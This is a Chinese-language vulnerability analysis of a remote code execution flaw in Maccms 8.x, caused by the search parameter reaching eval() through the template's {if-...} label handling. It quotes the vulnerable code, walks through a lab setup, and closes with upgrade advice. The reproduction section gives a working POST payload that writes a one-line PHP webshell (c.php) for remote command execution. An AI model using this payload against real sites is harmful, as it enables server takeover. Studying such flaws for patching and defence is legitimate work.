1. 漏洞描述
- 漏洞簡述: Maccms搜索頁面搜索輸入參數過濾不嚴謹導致前臺命令執行可getshell
- 影響版本: Maccms8.x
2. 漏洞簡介
魅魔電影程序(Maccms PHP)是一套採用PHP/MySQL數據庫運行的全新且完善的強大視頻電影系統。完美支持衆多視頻網站和高清播放器(youku,tudou,qvod,gvod等),完全免費開源。
該漏洞主要的產生原因是CMS搜索頁面搜索參數過濾不嚴導致直接eval執行PHP語句。
3. 漏洞原理分析
3.1 源碼分析
首先我們通過網上已知的payload:URL:http://127.0.0.1/index.PHP?m=vod-search
POST數據wd={if-A:print(md5(23333))}{endif-A}
進行源碼跟蹤和調試。
首先進入index.php進行跟蹤,我們可以看到代碼中直接將m=vod-search參數進行拆分vod參數和search參數,vod參數是進入的文件路徑,search是vod.php的一個選項。
進入\inc\module\vod.php頁面繼續debug,進入method=search條件語句,$wd爲我們輸入的參數{if-A:print(md5(23333))}{endif-A}
:
繼續跟蹤可以看到對$tp1數組進行賦值,同時加載\template\paody\html\vod_search.html:
繼續跟蹤\inc\module\vod.php,進行代碼走讀:
$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );
$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
我們可以看到代碼中利用$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
語句將$tp1->H中的
`$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
`
進行替換,替換後的$tpl->H值爲我們之前輸入的POC:
繼續跟進,進入\inc\common\template.php的ifex函數:
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m]; //該值取的是$iar第二個數組中的值,爲“A”
$strif= asp2phpif( $iar[2][$m] ) ;//該值取的是$iar第三個數組中的值,爲“print(md5(23333))”
$strThen= $iar[3][$m];//該值取的是$iar第四個數組中的值,第一個爲“”
$elseifFlag=false;
$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";
if (strpos(",".$strThen,$labelRule2)>0){
$elseifArray=explode($labelRule2,$strThen);
$elseifArrayLen=count($elseifArray);
$elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
$resultStr=$elseifSubArray[1];
@eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
$strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
$strElseif=asp2phpif($strElseif);
$strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
$strElseifThen=str_replace("'","\'",$strElseifThen);
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
if ($elseifFlag) {break;}
}
}
if(!$elseifFlag){
$strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
$strElseif0=asp2phpif($strElseif0);
$strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
$strElseifThen0=str_replace("'","\'",$strElseifThen0);
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
}
$this->H=str_replace($iar[0][$m],$resultStr,$this->H);
}
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
}
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}
}
}
unset($elsearray);
unset($elseifArray);
unset($iar);
if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
}
可以看到首先對
function asp2phpif($str)
{
$str= str_replace("not","!",$str);
$str= str_replace("==","=",$str);
$str= str_replace("=","==",$str);
$str= str_replace("<>","!=",$str);
$str= str_replace("and","&&",$str);
$str= str_replace("or","||",$str);
$str= str_replace("mod","%",$str);
return $str;
}
該函數主要對他認爲的參數進行替換,可以看到我們需要執行的POC並沒有被過濾和替換掉。
最後我們可以看到$strif參數並沒有再被過濾而是直接執行了eval函數
到這就已經debug完所有的流程,也成功的執行了命令print(md5(23333))
,如圖所示:
4. 靶場環境搭建
4.1 環境源碼下載
通過github下載Maccms8.x源碼https://github.com/yaofeifly/Maccms8.x
4.2 安裝Maccms
- 在Linux下直接安裝Apache+Mysql+php環境,然後將源碼導入到/var/www/html文件夾下。
- 啓動Apache服務,在瀏覽器直接訪問Maccms路徑,進入安裝頁面。配置好CMS需要的環境
- 配置好數據連接,用戶設置等,直接安裝即可
- 訪問http://localhost/maccms8/成功出現CMS首頁。安裝成功
4.3 漏洞復現(getshell)
1.訪問Maccms網站,進入search頁面。
2.利用Firefox瀏覽器發送POST數據包或直接用Python編寫腳本進行發送POST數據包
3.構造一句話木馬payload:
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
進行攻擊,該payload是直接生成一個c.php一句話木馬文件,連接密碼爲c。
4.菜刀或直接用Firefox連接一句話,執行命令。
5. 修復意見
升級Maccms8.x到最新版本,或手動添加規則過濾非法字符。